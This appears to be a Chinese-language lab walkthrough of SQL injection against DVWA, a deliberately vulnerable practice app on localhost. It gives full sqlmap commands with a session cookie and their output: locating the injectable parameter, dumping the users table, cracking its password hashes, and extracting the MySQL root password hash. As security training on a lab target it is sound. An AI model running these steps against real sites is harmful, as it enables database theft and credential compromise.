下面是体验步骤：
一、查找注入点
1.
打开wireshark，监视lo网卡（因为是本机）
2.
在DVWA的SQL Injection页面上有一个userid输入框，随便输入然后点击submit
3.
在wireshark中可以找到GET信息
其中有Request URI和Cookie信息
4.
使用sqlmap查找注入点
./sqlmap.py -u "" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3"
得到可能的注入点是id，数据库是mysql
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
二、开始脱裤
1.
./sqlmap.py -u "" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3" --current-db
得到当前数据库名
current database: 'dvwa'
2.
./sqlmap.py -u "" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3" --current-db --tables -Ddvwa
使用dvwa库得到表名
-
Database: dvwa
-
[2 tables]
-
+-----------+
-
| guestbook |
-
| users |
-
+-----------+
3.
./sqlmap.py -u "" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3" -T guestbook --columns
得到guestbook的表结构
-
Database: dvwa
-
Table: guestbook
-
[3 columns]
-
+------------+----------------------+
-
| Column | Type |
-
+------------+----------------------+
-
| comment | varchar(300) |
-
| comment_id | smallint(5) unsigned |
-
| name | varchar(100) |
-
+------------+----------------------+
得到users表结构
-
Database: dvwa
-
Table: users
-
[6 columns]
-
+------------+-------------+
-
| Column | Type |
-
+------------+-------------+
-
| user | varchar(15) |
-
| avatar | varchar(70) |
-
| first_name | varchar(15) |
-
| last_name | varchar(15) |
-
| password | varchar(32) |
-
| user_id | int(6) |
-
+------------+-------------+
4.
./sqlmap.py -u "" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3" -T users --dump
得到users表的内容
-
Database: dvwa
-
Table: users
-
[5 entries]
-
+---------+---------+---------------------------------+----------------------------------+-----------+------------+
-
| user_id | user | avatar | password | last_name | first_name |
-
+---------+---------+---------------------------------+----------------------------------+-----------+------------+
-
| 1 | admin | dvwa/hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 | admin | admin |
-
| 2 | gordonb | dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 | Brown | Gordon |
-
| 3 | 1337 | dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b | Me | Hack |
-
| 4 | pablo | dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 | Picasso | Pablo |
-
| 5 | smithy | dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 | Smith | Bob |
-
+---------+---------+---------------------------------+----------------------------------+-----------+------------+
5.
同命令4,在sqlmap询问时候破解密码时，选择是，sqlmap会使用自己的字典来破解密码，得到5个用户的密码。
-
Database: dvwa
-
Table: users
-
[5 entries]
-
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
-
| user_id | user | avatar | password | last_name | first_name |
-
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
-
| 1 | admin | dvwa/hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin |
-
| 2 | gordonb | dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon |
-
| 3 | 1337 | dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack |
-
| 4 | pablo | dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo |
-
| 5 | smithy | dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob |
-
+---------+---------+---------------------------------+---------------------------------------------+-----------+------------+
6.
此时，DVWA的sql injection任务完成。
DVWA的 sql blind injection 任务也是一样用以上方法，在最开始查找注入点的时候会提示id为盲注点
./sqlmap.py -u "" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3"
得到id为'AND boolean-based blind - WHERE or HAVING clause' 注入点的信息：
[INFO] GET parameter 'id' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="Surname: admin")
./sqlmap.py -u "" --cookie="security=low; bdshare_firstime=1407830747693; PHPSESSID=q1le5upd7bofsg2c0lbdh839f3" --passwords
使用sqlmap自带的字典可以破解出数据库用户的密码
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *C76DD9894107EB85B2E15ADD4DDA15G7E3C6E98F
[*] root [1]:
password hash: *3800D13EE725ED411CBC3F23B2A2E19C64CE0BEC
clear-text password: passwordABC
